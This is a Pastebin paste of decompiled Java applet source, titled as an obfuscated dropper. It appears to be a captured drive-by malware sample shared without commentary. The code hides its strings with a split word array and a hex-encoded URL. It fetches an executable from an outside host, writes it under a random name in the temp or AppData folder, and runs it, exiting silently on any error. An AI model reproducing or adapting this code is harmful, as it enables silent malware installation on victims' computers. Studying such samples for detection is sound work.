eromang

Java.jar obfuscated dropper

Oct 25th, 2012
421
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import java.applet.Applet;
  2. import java.io.File;
  3. import java.io.FileOutputStream;
  4. import java.net.URL;
  5. import java.nio.channels.Channels;
  6. import java.nio.channels.FileChannel;
  7. import java.util.Random;
  8.  
  9. public class Java extends Applet
  10. {
  11.   public String[] FCKME = "chnage the text for stupid java .io. and tmp dir retarded ESET you make us user laugh so .home hard its not even funny did you APP DATA know .exe that \\ i love.".split(" ");
  12.   public String HKD = new StringBuilder().append(Long.toString(Math.abs(new Random().nextLong()), 36).replaceAll("[0-9]", "")).append(this.FCKME[29]).toString();
  13.   public String[] JEIKF = { new StringBuilder().append(System.getProperty(new StringBuilder().append(this.FCKME[5]).append(this.FCKME[6]).append(this.FCKME[8]).append(this.FCKME[9]).toString())).append(this.FCKME[31]).toString(), new StringBuilder().append(System.getenv(new StringBuilder().append(this.FCKME[26]).append(this.FCKME[27]).toString())).append(this.FCKME[31]).append(this.FCKME[31]).toString(), new StringBuilder().append(System.getProperty(new StringBuilder().append(this.FCKME[15]).append(this.FCKME[18]).toString())).append(this.FCKME[31]).append(this.FCKME[31]).toString() };
  14.   public String HDK = new StringBuilder().append(this.JEIKF[0]).append(this.HKD).toString();
  15.  
  16.   public String FJOKL(String paramString) {
  17.     StringBuilder localStringBuilder = new StringBuilder();
  18.     paramString = paramString.replace("[>|<]", "");
  19.     for (int i = 0; i < paramString.length() - 1; i += 2) {
  20.       localStringBuilder.append((char)Integer.parseInt(paramString.substring(i, i + 2), 16));
  21.     }
  22.     paramString = localStringBuilder.toString();
  23.     return paramString;
  24.   }
  25.  
  26.   public void init() {
  27.     try {
  28.       for (String str : this.JEIKF) {
  29.         if ((str != null) && (new File(str).exists())) {
  30.           this.JEIKF[0] = str.toString();
  31.           break;
  32.         }
  33.       }
  34.       if ((this.JEIKF[0] != null) && (new File(this.JEIKF[0]).exists())) {
  35.         ??? = new FileOutputStream(this.HDK.toString());
  36.         ((FileOutputStream)???).getChannel().transferFrom(Channels.newChannel(new URL(new StringBuilder().append(FJOKL("6[>|<]8[>|<]7[>|<]4[>|<]7[>|<]4[>|<]7[>|<]0[>|<]3[>|<]a[>|<]2[>|<]f[>|<]2[>|<]f[>|<]7[>|<]7[>|<]7[>|<]7[>|<]7[>|<]7[>|<]2[>|<]e[>|<]6[>|<]7[>|<]7[>|<]6[>|<]7[>|<]2[>|<]6[>|<]2[>|<]2[>|<]e[>|<]6[>|<]3[>|<]6[>|<]f[>|<]6[>|<]d[>|<]2[>|<]e[>|<]7[>|<]4[>|<]7[>|<]7[>|<]2[>|<]f[>|<]7[>|<]5[>|<]7[>|<]0[>|<]6[>|<]c[>|<]6[>|<]f[>|<]6[>|<]1[>|<]6[>|<]4[>|<]2[>|<]f[>|<]7[>|<]5[>|<]7[>|<]3[>|<]6[>|<]5[>|<]7[>|<]2[>|<]2[>|<]f[>|<]6[>|<]6[>|<]6[>|<]9[>|<]6[>|<]c[>|<]6[>|<]5[>|<]7[>|<]3[>|<]2[>|<]f[>|<]6[>|<]e[>|<]7[>|<]5[>|<]6[>|<]d")).append(this.FCKME[29]).toString()).openStream()), 0L, 16777216L);
  37.         ((FileOutputStream)???).close();
  38.         if (new File(new StringBuilder().append(this.JEIKF[0]).append(this.HKD).toString()).exists()) {
  39.           if (Runtime.getRuntime().exec(new StringBuilder().append(this.JEIKF[0]).append(this.HKD).toString()) != null)
  40.             System.exit(0);
  41.           else
  42.             System.exit(0);
  43.         }
  44.         else
  45.           System.exit(0);
  46.       }
  47.       else {
  48.         System.exit(0);
  49.       }
  50.     } catch (Exception localException) {
  51.       System.exit(0);
  52.     }
  53.   }
  54. }
RAW Paste Data